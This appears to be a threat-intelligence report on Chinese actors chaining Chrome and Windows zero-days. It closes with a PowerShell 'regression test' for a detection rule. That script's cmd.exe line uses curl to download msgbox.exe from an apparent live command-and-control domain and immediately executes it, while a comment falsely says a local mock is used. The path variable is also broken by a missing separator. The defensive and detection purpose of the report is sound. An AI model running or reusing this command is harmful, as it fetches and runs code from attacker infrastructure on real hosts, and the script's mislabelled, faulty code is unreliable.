Chinese Threat Actors Chain Browser and Windows Zero-Days

Summary

Two Chinese threat actors, UTA0560 and JungleBamboo, are using a sophisticated multi-stage exploit chain targeting Google Chrome and the Windows kernel. The attacks take advantage of a patch-gap window in which vulnerabilities are fixed in Chromium before corresponding updates reach released Google Chrome versions. Spear-phishing lures deliver different payloads, including the GRIMWEDGE JScript backdoor and LONGTALE Chrome extension.

Investigation

Volexity’s Network Security Monitoring identified a spear-phishing campaign targeting NGOs on September 1, 2026. The investigation uncovered a shared exploit chain involving CVE-2026-85046, CVE-2026-87491, and CVE-2026-85880. Analysts separated the activity into two clusters: UTA0560 deploying GRIMWEDGE and JungleBamboo using SUPERSTOMP to install the LONGTALE extension.

Mitigation

Organizations should keep Google Chrome updated to the latest available version to reduce exposure during patch-gap periods. Security teams should monitor for unusual Chrome child-process behavior and unauthorized Chrome extension installations. Strong email filtering for spear-phishing lures and monitoring for suspicious or unauthorized scheduled task creation are also recommended.

Response

If exploitation is detected, affected hosts should be isolated immediately to prevent further command-and-control communication or lateral movement. Responders should perform memory forensics on Chrome processes to identify injected shellcode. Installed Chrome extensions should also be audited, and scheduled tasks reviewed for suspicious entries such as Windows Scheduled System.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary seeks to establish a foothold on the compromised system by deploying the GRIMWEDGE JScript backdoor. To avoid detection by simple signature-based AV, the attacker utilizes cmd.exe and the native curl utility to download a stage-two loader named msgbox.exe from a remote command-and-control (C2) infrastructure. Once the download is complete, the attacker immediately executes the payload from the %TEMP% directory to minimize the time the file spends on disk and to leverage a directory often overlooked by basic monitoring. This sequence is designed to match the specific command-line pattern the detection rule is looking for.

• Regression Test Script:

  # Simulation script to trigger the GRIMWEDGE detection rule.
  # This script creates a dummy file to simulate the downloaded payload.
  
  $tempDir = $env:TEMP
  $payloadName = "msgbox.exe"
  $payloadPath = Join-Path $tempDir $payloadName
  
  # 1. Create a dummy 'msgbox.exe' to simulate the downloaded payload
  # In a real attack, this would be the actual malicious binary.
  New-Item -Path $payloadPath -ItemType File -Force
  Set-Content -Path $payloadPath -Value "Dummy Payload Content"
  
  # 2. Execute the exact command string identified in the detection logic.
  # Note: We use a local echo/mock approach for the URL to ensure the command string matches exactly.
  cmd.exe /c "curl -f -sS -o ""$tempDirmsgbox.exe"" ""https://cloud.shinewrist.net/test/msgbox.exe"" && ""$tempDirmsgbox.exe"""
  
  Write-Host "Simulation completed. Check SIEM for alerts matching the GRIMWEDGE pattern."

• Cleanup Commands:

  # Cleanup script to remove the simulated payload and files.
  $tempDir = $env:TEMP
  $payloadPath = Join-Path $tempDir "msgbox.exe"
  
  if (Test-Path $payloadPath) {
      Remove-Item -Path $payloadPath -Force
      Write-Host "Cleanup successful: $payloadPath removed."
  } else {
      Write-Host "Payload not found. Cleanup unnecessary."
  }